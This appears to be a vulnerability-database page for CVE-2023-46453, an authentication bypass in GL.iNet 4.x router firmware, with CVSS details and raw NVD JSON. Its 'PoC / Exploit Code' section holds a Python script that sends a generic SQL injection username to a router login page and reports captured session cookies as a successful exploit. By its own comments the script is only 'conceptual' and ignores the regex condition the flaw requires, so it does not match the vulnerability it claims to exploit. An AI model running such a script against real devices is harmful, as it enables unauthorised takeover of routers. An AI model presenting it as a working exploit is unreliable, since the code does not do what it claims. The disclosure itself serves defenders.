Security Vulnerability Report
中文
CVE-2023-46453 CVSS 9.8 CRITICAL

CVE-2023-46453

Published: 2026-05-08 07:16:28
Last Modified: 2026-05-08 20:16:29

Description

Certain GL.iNet devices with 4.x firmware allow authentication bypass (resulting in administrative control of the device) via a username that is both a valid SQL statement and a valid regular expression. For example, this affects version 4.3.7 on GL-MT3000 GL-AR300M GL-B1300 GL-AX1800 GL-AR750S GL-MT2500 GL-AXT1800 GL-X3000 and GL-SFT1200.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Firmware 4.3.7
Firmware 4.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example) target_url = "http://192.168.8.1/login" # The payload must be a valid regex AND a valid SQL statement # Based on the vulnerability description, a crafted input is used to bypass auth. # Common logic bypass payloads often involve SQL comments or logical operators. # Example Payload: A string that matches the username regex but breaks the SQL query. # Note: The exact payload depends on the specific regex and SQL structure of the device. # This is a conceptual demonstration. payload_data = { "username": "admin' OR '1'='1", # This is a standard SQLi payload structure; the actual payload might need to match specific regex constraints. "password": "irrelevant" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: response = requests.post(target_url, data=payload_data, headers=headers, timeout=10) # Check if login was successful (e.g., HTTP 200 and presence of session cookie or dashboard content) if response.status_code == 200 and ("dashboard" in response.text or "admin" in response.cookies.get_dict().values()): print("[+] Exploit successful! Authentication bypassed.") print("[+] Session Cookie:", response.cookies.get_dict()) else: print("[-] Exploit failed. Target may not be vulnerable or patched.") print("Response status code:", response.status_code) except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-46453", "sourceIdentifier": "[email protected]", "published": "2026-05-08T07:16:27.850", "lastModified": "2026-05-08T20:16:28.533", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Certain GL.iNet devices with 4.x firmware allow authentication bypass (resulting in administrative control of the device) via a username that is both a valid SQL statement and a valid regular expression. For example, this affects version 4.3.7 on GL-MT3000 GL-AR300M GL-B1300 GL-AX1800 GL-AR750S GL-MT2500 GL-AXT1800 GL-X3000 and GL-SFT1200."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/51865", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/51865", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}